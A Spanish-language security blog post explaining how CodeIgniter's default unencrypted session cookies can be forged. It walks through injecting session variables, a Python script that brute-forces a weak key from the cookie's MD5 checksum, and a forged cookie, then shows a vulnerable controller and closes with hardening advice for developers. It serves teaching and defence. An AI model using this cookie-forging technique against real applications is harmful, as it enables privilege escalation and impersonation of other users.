(IN)seguridad de datos de sesión en CodeIgniter

En el último año revisé algunas aplicaciones web hechas con CodeIgniter y después de ver los mismos errores una y otra vez he decidido escribir un pequeño post. Espero les sirva de referencia a ustedes pentesters y programadores que usan este framework.
Identificando aplicaciones CodeIgniter
CodeIgniter únicamente requiere PHP por lo que debe correr en cualquier servidor web que lo soporte y no es posible identificar sus aplicaciones a través de alguna cabecera en especial. Sin embargo una cookie típica se ve así:
Set-Cookie: ci_session=a%3a5%3a{s%3a10%3a"session_id"
%3bs%3a32%3a"d318c7f887edf8242a9cf23785240d60"%3bs%3a10%3a"ip_address"%3bs%3a13%3a"
111.111.111.1"%3bs%3a10%3a"user_agent"%3bs%3a72%3a"Mozilla/5.0+(Windows+NT+6.2%3b+
WOW64%3b+rv%3a21.0)+Gecko/20100101+Firefox/21.0"%3bs%3a13%3a"last_activity"%3b
i%3a1372913399%3bs%3a9%3a"user_data"%3bs%3a0%3a""%3b}b5b3330c886f4ccbc591c02bc94f2e6c;
expires=Thu, 04-Jul-2013 06:49:59 GMT; path=/
Además de tener el nombre ci_session, que puede ser cambiado en la configuración, contiene campos como session_id, ip_address, user_agent, last_activity y user_data. Estos campos serán nuestra forma de identificar este framework.
¿Cómo maneja las sesiones CodeIgniter?
La configuración predeterminada de CodeIgniter guarda los datos de sesión en un objeto serializable en la cookie sin cifrar. Si analizamos el contenido de esta cookie veremos un objeto serializable similar al siguiente:
a:5:{s:10:"session_id";s:32:"d318c7f887edf8242a9cf23785240d60";
s:10:"ip_address";s:13:"111.111.111.1";s:10:"user_agent";s:72:"Mozilla/5.0
(Windows NT 6.2; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0";s:13:"last_activity";
i:1372913399;s:9:"user_data";s:0:"";}
Configuración insegura de sesiones
A pesar de que CodeIgniter si ofrece manejo de sesión seguro a través de cifrado de la cookie y uso de la base de datos, es muy común encontrar la siguiente configuración:
$config['sess_cookie_name'] = 'ci_session';
$config['sess_expiration'] = 7200;
$config['sess_expire_on_close'] = FALSE;
$config['sess_encrypt_cookie'] = FALSE;
$config['sess_use_database'] = FALSE;
$config['sess_table_name'] = 'ci_sessions';
$config['sess_match_ip'] = FALSE;
$config['sess_match_useragent'] = TRUE;
$config['sess_time_to_update'] = 300;
Esta configuración es distribuida con el framework (https://github.com/EllisLab/CodeIgniter/blob/develop/application/config/config.php) por lo que esta en la mayoría de aplicaciones hechas con CodeIgniter. Y desafortunadamente esta configuración permite manipulación de datos de sesión y da puerta a muchas otras vulnerabilidades relacionadas con manejo inseguro de datos de entrada como veremos más adelante.
Protección de objetos de sesión en CodeIgniter
CodeIgniter implementa un sistema básico para tratar de evitar que se alteren los objetos de datos de sesión. Noten que la cookie de sesión no esta compuesta únicamente por el objeto serializable:
a:5:{s:10:"session_id";s:32:"d318c7f887edf8242a9cf23785240d60";s:10:"ip_address";
s:13:"111.111.111.1";s:10:"user_agent";s:72:"Mozilla/5.0 (Windows NT 6.2; WOW64;
rv:21.0) Gecko/20100101 Firefox/21.0";s:13:"last_activity";i:1372913399;
s:9:"user_data";s:0:"";}b5b3330c886f4ccbc591c02bc94f2e6c
Los últimos 32 bytes, en este caso b5b3330c886f4ccbc591c02bc94f2e6c, pertenecen a un hash md5 que es obtenido usando la llave de cifrado y el objeto serializable. Si modificamos el objeto serializable únicamente, el hash no sería igual y el framework detectaría que la petición fue modificada y la rechazaría.
Inyectando datos de sesión
Algo curioso de CodeIgniter es que los datos de sesión no van dentro de user_data como se esperaría. Supongamos que recibimos la siguiente cookie de la aplicación:
a:5:{s:10:"session_id";s:32:"d318c7f887edf8242a9cf23785240d60";
s:10:"ip_address";s:13:"111.111.111.1";s:10:"user_agent";
s:72:"Mozilla/5.0 (Windows NT 6.2; WOW64; rv:21.0) Gecko/20100101
Firefox/21.0";s:13:"last_activity";i:1372913399;
s:9:"user_data";s:0:"";}
Para agregar una variable de sesión con llave “nueva_llave” y valor “nuevo_valor” haríamos lo siguiente:
a:5:{s:10:"session_id";s:32:"d318c7f887edf8242a9cf23785240d60";s:10:"ip_address";
s:13:"111.111.111.1";s:10:"user_agent";s:72:"Mozilla/5.0 (Windows NT 6.2;
WOW64; rv:21.0) Gecko/20100101 Firefox/21.0";s:13:"last_activity";
i:1372913399;s:9:"user_data";s:0:"";s:11:"nueva_llave&";s:11:"nuevo_valor";}
No se les olvide ajustar el tamaño del array:
a:6:{s:10:"session_id";s:32:"d318c7f887edf8242a9cf23785240d60";
s:10:"ip_address";s:13:"111.111.111.1";s:10:"user_agent";s:72:"Mozilla/5.0 (Windows NT
6.2; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0";s:13:"last_activity";i:1372913399;
s:9:"user_data";s:0:"";s:11:”nueva_llave”;s:11:"nuevo_valor";}
Ahora solo falta obtener la llave de cifrado para concatenarla a nuestro objeto a inyectar y así obtener un md5 válido. Si los desarrolladores usaron una llave débil podríamos usar un simple script para obtenerla:
#!/usr/bin/python
import itertools, string, hashlib
ci_cookie_decoded = 'aqui va una cookie valida'
ci_cookie_md5 = ci_cookie_decoded[-32:]
print ci_cookie_md5
ci_cookie = ci_cookie_decoded[:-32]
print ci_cookie
for str in map(''.join, itertools.product(string.ascii_lowercase, repeat=5)):
print str
md5sum = hashlib.md5(ci_cookie+str).hexdigest()
print md5sum
print ci_cookie_md5
if md5sum == ci_cookie_md5:
print "La llave de cifrado es:"+str
break
Usaremos una cookie válida que recibamos de la aplicación, por ejemplo:
a:5:{s:10:"session_id";s:32:"d318c7f887edf8242a9cf23785240d60";
s:10:"ip_address";s:13:"111.111.111.1";s:10:"user_agent";s:72:"Mozilla/5.0 (Windows NT
6.2; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0";s:13:"last_activity";i:1372913399;
s:9:"user_data";s:0:"";}b5b3330c886f4ccbc591c02bc94f2e6c
En este caso nuestro script encontró la llave de cifrado “abcde”. Ahora usaremos esta llave para generar objetos serializables válidos. Solo es cuestión de concatenar esta llave de cifrado a nuestro objeto y calcular el hash md5.
a:6:{s:10:"session_id";s:32:"d318c7f887edf8242a9cf23785240d60";s:10:"ip_address";
s:13:"111.111.111.1";s:10:"user_agent";s:72:"Mozilla/5.0 (Windows NT 6.2; WOW64;
rv:21.0) Gecko/20100101 Firefox/21.0";s:13:"last_activity";i:1372913399;s:9:"user_data";
s:0:"";s:11:nueva_llave”;s:11:”nuevo_valor”;}abcde
El hash md5 obtenido, en este caso 594c293189734829b075ab09964e378f, sería el checksum que debemos agregar al final del objeto que queramos inyectar:
a:6:{s:10:"session_id";s:32:"d318c7f887edf8242a9cf23785240d60";s:10:"ip_address";
s:13:"111.111.111.1";s:10:"user_agent";s:72:"Mozilla/5.0 (Windows NT 6.2; WOW64; rv:21.0)
Gecko/20100101 Firefox/21.0";s:13:"last_activity";i:1372913399;s:9:"user_data";s:0:"";
s:11:"nueva_llave";s:11:"nuevo_valor";}594c293189734829b075ab09964e378f
Después de encodear los carácteres nuestra nuevo cookie manipulada y VáLIDA quedaría así:
a%3a6%3a{s%3a10%3a"session_id"%3bs%3a32%3a"d318c7f887edf8242a9cf23785240d60
"%3bs%3a10%3a"ip_address"%3bs%3a13%3a"111.111.111.1"%3bs%3a10%3a"user_agent
"%3bs%3a72%3a"Mozilla/5.0+(Windows+NT+6.2%3b+WOW64%3b+rv%3a21.0)+Gecko/201
00101+Firefox/21.0"%3bs%3a13%3a"last_activity"%3bi%3a1372913399%3bs%3a9%3a"
user_data"%3bs%3a0%3a""%3bs%3a11%3a"nueva_llave"%3bs%3a11%3a"nuevo_valor"
%3b}594c293189734829b075ab09964e378f
Identificando aplicaciones vulnerables
Ahora ya que sabemos como inyectar variables de sesión solo necesitamos explotar los errores de lógica y falta de validación de datos que exista en la aplicación.
Por ejemplo, el siguiente es un snippet de una función vulnerable que asume los datos de sesión son seguros y permite que atacantes lean archivos no permitidos, eleven privilegios o tomen la identidad de cualquier otro usuario:
public function dashboard($error){
$logged = $this->session->userdata('logged_in');
if($logged == 1){
if(isset($error)){
$this->salida['error'] = $error;
}
$this->salida['titulo'] = 'Dashboard';
$this->salida['tipoUsuario'] = $this->session->userdata('tipoUsuario');
$this->salida['nombre'] = $this->session->userdata('nombre');
$this->salida['fotoUsuario'] = $this->session->userdata('fotoUsuario');
$this->salida['thumbUsuario'] = $this->session->userdata('thumbUsuario');
$tipoUsuario = $this->salida['tipoUsuario'];
$nombre = $this->salida['nombre'];
$idUsuario = $this->session->userdata('idUser');
$this->load->view('admin/headers/header', $this->salida);
$this->load->view('admin/dashboard', $this->salida);
} else {
redirect('login');
}
}
Si tienen acceso al código fuente fijense cuando se accesan y procesan las variables:
$this->session->userdata
Recomendación a desarrolladores
Me gustaría concluir recomendando a todas las personas que trabajan con CodeIgniter a que activen cifrado de cookies, almacenamiento de sesión en base de datos y le echen un vistazo a todas las opciones de seguridad disponibles en CodeIgniter. Ah, y no se les olvide usar una llave de cifrado segura.
Hasta la próxima!